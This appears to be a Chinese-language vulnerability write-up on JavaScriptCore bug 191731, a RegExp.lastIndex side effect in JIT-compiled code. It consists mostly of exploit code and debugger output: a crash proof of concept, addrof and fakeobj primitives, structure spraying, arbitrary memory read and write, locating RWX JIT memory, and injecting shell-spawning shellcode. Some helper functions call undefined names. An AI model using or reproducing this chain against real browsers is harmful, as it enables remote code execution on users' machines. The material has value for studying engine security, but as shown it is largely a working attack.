JavaScriptCore漏洞分析 - Bug-191731 RegExp.lastIndex Side-Effect

var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310 // 0x0000616161616161

var funcToJIT = function() {
    'abc'.match(reg);
    victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
    funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
    victim_array[0] = {};
    return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

/a/i

>>> var str = "abcd abcd abcd"
>>> let regexp = /a/g

>>> regexp.exec(str)
a
>>> regexp.lastIndex
1

>>> regexp.exec(str)
a
>>> regexp.lastIndex    
6

>>> regexp.exec(str)
a
>>> regexp.lastIndex
11

>>> regexp.exec(str)
null
>>> regexp.lastIndex
0

>>> var str = "abcd abcd abcd"      
>>> let regexp = /a/y
>>> regexp.exec(str)
a
>>> regexp.lastIndex   
1
>>> regexp.exec(str)
null
>>> regexp.lastIndex
0

>>> var str = "abcd abcd abcd abcd"
>>> str.search(/a/g)
0

>>> var str = "abcd abcd abcd abcd"
>>> str.match(/a/g)
a,a,a,a

// Source/JavaScriptCore/builtins/StringPrototype.js

function match(regexp)
{
    "use strict";

    if (this == null)
        @throwTypeError("String.prototype.match requires that |this| not be null or undefined");

    if (regexp != null) {
        var matcher = regexp.@matchSymbol;
        if (matcher != @undefined)
            return matcher.@call(regexp, this);
    }

    let thisString = @toString(this);
    let createdRegExp = @regExpCreate(regexp, @undefined);
    return createdRegExp.@matchSymbol(thisString);
}

// Source/JavaScriptCore/builtins/RegExpPrototype.js

@overriddenName="[Symbol.match]"
function match(strArg)
{
    "use strict";

    if (!@isObject(this))
        @throwTypeError("RegExp.prototype.@@match requires that |this| be an Object");

    let str = @toString(strArg);

    // Check for observable side effects and call the fast path if there aren't any.
    if (!@hasObservableSideEffectsForRegExpMatch(this))
        return @regExpMatchFast.@call(this, str);
    return @matchSlow(this, str);
}

@globalPrivate
function hasObservableSideEffectsForRegExpMatch(regexp)
{
    "use strict";

    // This is accessed by the RegExpExec internal function.
    let regexpExec = @tryGetById(regexp, "exec");
    if (regexpExec !== @regExpBuiltinExec)
        return true;
    let regexpGlobal = @tryGetById(regexp, "global");
    if (regexpGlobal !== @regExpProtoGlobalGetter)
        return true;
    let regexpUnicode = @tryGetById(regexp, "unicode");
    if (regexpUnicode !== @regExpProtoUnicodeGetter)
        return true;

    return !@isRegExpObject(regexp);
}

>>> describe([5.2900040263529e-310, 2])     
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4010 (Structure 0x7fffaf4f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 103

(gdb) x/4gx 0x7fe0000e4010
0x7fe0000e4010:	0x0000616161616161	0x4000000000000000
0x7fe0000e4020:	0x00000000badbeef0	0x00000000badbeef0

>>> describe([5.2900040263529e-310, 2.2, {}])            
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000fe6c8 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

(gdb) x/4gx 0x7fe0000fe6c8
0x7fe0000fe6c8:	0x0001616161616161	0x400299999999999a
0x7fe0000fe6d8:	0x00007fffaf4b0080	0x00000000badbeef0

var victim_array = [1.1]; // 浮点数数组
var reg = /abc/y; // 带修饰符y的正则表达式，匹配abc
var val = 5.2900040263529e-310 // 0x0000616161616161

// 用于JIT的函数
var funcToJIT = function() {
    'abc'.match(reg);    // <-- 2
    victim_array[0] = val;    // <-- 3
}

// 循环调用触发JIT优化
for (var i = 0; i < 10000; ++i){
    funcToJIT()
}

// 设置lastIndex
regexLastIndex = {};
regexLastIndex.toString = function() {
    victim_array[0] = {};
    return "0";
};
reg.lastIndex = regexLastIndex;

// 此时函数funcToJIT已经完成JIT
funcToJIT()    // <-- 1

// 将0x0000616161616161作为对象指针调用导致崩溃
print(victim_array[0])

function addrof(val) {
    var array = [13.37];
    var reg = /abc/y;
    var AddrGetter = function(array) {
        "abc".match(reg);
        return array[0];
    }
    for (var i = 0; i < 10000; ++i)
        AddrGetter(array);
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;    // 将目标对象赋值给array[0]，数组转换为对象数组
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    return AddrGetter(array);
}

arr = [1, 2, 3]

print(describe(arr))
// Object: 0x7f2ffbeb4340 with butterfly 0x7f20000e4010 (Structure 0x7f2ffbef2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7f2ffbec80a0, Leaf]), StructureID: 102

print(addrof(arr))
// 6.909214912619e-310

for (var i = 0; i < 0x1000; i++) {
    obj = {};
    obj.x = 1;
    obj['prop_' + i] = 2;
}

>>> for (var i = 0; i < 0x1000; i++) { obj = {}; obj.x = 1; obj['prop_' + i] = 2; } describe(obj)
Object: 0x7fffaf4b00c0 with butterfly (nil) (Structure 0x7fffaf470380:[Object, {x:0, prop_0:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 295
Object: 0x7fffaf4b0140 with butterfly (nil) (Structure 0x7fffaf4703f0:[Object, {x:0, prop_1:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 296
Object: 0x7fffaf4b01c0 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, prop_2:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 297
Object: 0x7fffaf4b0240 with butterfly (nil) (Structure 0x7fffaf4704d0:[Object, {x:0, prop_3:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 298
Object: 0x7fffaf4b02c0 with butterfly (nil) (Structure 0x7fffaf470540:[Object, {x:0, prop_4:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 299
...
Object: 0x7fffaf530040 with butterfly (nil) (Structure 0x7fffaf4e0310:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 4390

function fakeobj(dbl) {
    var array = [13.37];
    var reg = /abc/y;
    var AddrSetter = function(array) {
      "abc".match(reg);
      array[0] = dbl;
    }
    for (var i = 0; i < 10000; ++i)
      AddrSetter(array);
    regexLastIndex = {};
    regexLastIndex.toString = function() {
      array[0] = {};
      return "0";
    };
    reg.lastIndex = regexLastIndex;
    AddrSetter(array);
    return array[0];
}

function addrof(val) { ... }

function fakeobj(dbl) { ... }

for (var i = 0; i < 0x1000; i++) {
    obj = {}; 
    obj.x = 1; 
    obj['prop_' + i] = 2;
}

fake = {};
fake.x = 7.082855106403439e-304;
fake.y = 2;
fake.z = 3;
delete fake.y;

print(describe(fake));
// Object: 0x7fffadefd580 with butterfly (nil) (Structure 0x7fffadef4a80:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 4458

buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);

f64[0] = addrof(fake);    // 6.95328778531324e-310 浮点数读取fake对象地址
u32[0] += 0x10;    // u32[0]的值为0xadefd580，计算结果为0xadefd590
real_fake = fakeobj(f64[0])    // 6.95328778531403e-310 浮点数读取修改偏移后的f64[0]

print(describe(real_fake)) // 确定成功获取对象
// Object: 0x7fffadefd590 with butterfly (nil) (Structure 0x7fffae21e7d0:[Object, {x:0, prop_3736:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 4096

var structure_spray = [];
for(var i = 0; i < 1000; i++) {
    var array = [13.37];
    array.a = 13.37;
    array['p' + i] = 13.37;
    structure_spray.push(array);
}
print(describe(structure_spray));
// Object: 0x7fffaf4b4340 with butterfly 0x7fe0001fa070 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

var victim = structure_spray[510];
print(describe(victim));
// Object: 0x7fffaf4b6330 with butterfly 0x7fe0000ca128 (Structure 0x7fffae0e9110:[Array, {a:100, p510:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 4902

buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);

u32[0] = 0x200; // Structure ID

// Flags for ArrayWithDoubles
u32[1] = 0x01082007 - 0x10000; 
var flags_arr_double = f64[0];

// Flags for ArrayWithContiguous
u32[1] = 0x01082009 - 0x10000; 
var flags_arr_contiguous = f64[0];

var outer = {
    cell_header: flags_arr_contiguous,
    butterfly: victim,
    x: 13.37,
};

f64[0] = addrof(outer);
u32[0] += 0x10;
var real_fake = fakeobj(f64[0]);

var unboxed = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37]
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff0000e0010 (Structure 0x7fffaf4f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 103

unboxed[0] = 4.2
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98

var boxed = [{}];
print(describe(boxed));
// Object: 0x7fffade90060 with butterfly 0x7ff0000be8e8 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

real_fake[1] = unboxed;
tmp_unbox_butterfly = victim[1];

real_fake[1] = boxed;
victim[1] = tmp_unbox_butterfly;

print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98

print(describe(boxed));
// Object: 0x7fffade90060 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99

stage2_addrof = function(obj) {
    boxed[0] = obj;
    return unboxed[0];
}

stage2_fakeof = function(dbl) {
    unboxed[0] = dbl;
    return boxed[0];
}

stage2_arbitrary_read = function(addr) {
    f64[0] = addr;
    u32[0] += 0x10;
    real_fake[1] = f64[0];
    return stage2_addr(victim.a);
}

stage2_arbitrary_write = function(addr, data) {
    f64[0] = addr;
    u32[0] += 0x10;
    real_fake[1] = f64[0];
    victim.a = stage2_fakeobj(data);
}

outer.cell_header = flags_arr_double;

var BASE32 = 0x100000000;
function f2i(f) {
    f64[0] = f
    return u32[0] + BASE32 * u32[1]
}

function i2f(i) {
    u32[0] = i % BASE32
    u32[1] = i / BASE32
    return f64[0]
}

var stage2 = {
    addrof: function(obj) {
        boxed[0] = obj;
        return f2i(unboxed[0]);
    },
    fakeobj: function(addr) {
        unboxed[0] = i2f(addr);
        return boxed[0];
    },
    read64: function(addr) {
        real_fake[1] = i2f(addr + 0x10);
        return this.addrof(victim.a);
    },
    write64: function(addr, data) {
        real_fake[1] = i2f(addr + 0x10);
        victim.a = this.fakeobj(data);
    },
    getJITFunction: function() {
        function target(num) {
            for (var i = 2; i < num; i++) {
                if (num % i === 0) { return false; }
            }
            return true;
        }
        for (var i = 0; i < 1000; i++) { target(i); }
        for (var i = 0; i < 1000; i++) { target(i); }
        for (var i = 0; i < 1000; i++) { target(i); }
        print(describe(target))
        return target;
    },
    getRWXMem: function() {
        var shellcodeFunc = this.getJITFunction();
        var shellcodeFuncAddr = this.addrof(shellcodeFunc);
        print("[+] Shellcode function => 0x" + shellcodeFuncAddr.toString(16));
        var executableAddr = this.read64(shellcodeFuncAddr + 8 * 3);
        print("[+] Executable instance => 0x" + executableAddr.toString(16));
        var jitCodeAddr = this.read64(executableAddr + 8 * 3);
        print("[+] JITCode instance => 0x" + jitCodeAddr.toString(16));
        var rwxMemAddr = this.read64(jitCodeAddr + 8 * 4);
        print("[+] RWX memory => 0x" + rwxMemAddr.toString(16));
        return [shellcodeFunc, rwxMemAddr];
    },
    injectShellcode: function(addr, shellcode) {
        var theAddr = addr;
        for(var i = 0, len = shellcode.length; i < len; i++) {
            this.write64(addr + i, shellcode[i].charCodeAt());
        }
    },
    pwn: function() {
        shellcodeObj = this.getRWXMem();
        shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05";
        this.injectShellcode(shellcodeObj[1], shellcode);
        var shellcodeFunc = shellcodeObj[0];
        shellcodeFunc();
    },
};

// 用于JIT的函数
var funcToJIT = function() {
    'abc'.match(reg);    // <-- 2
    victim_array[0] = val;    // <-- 3
}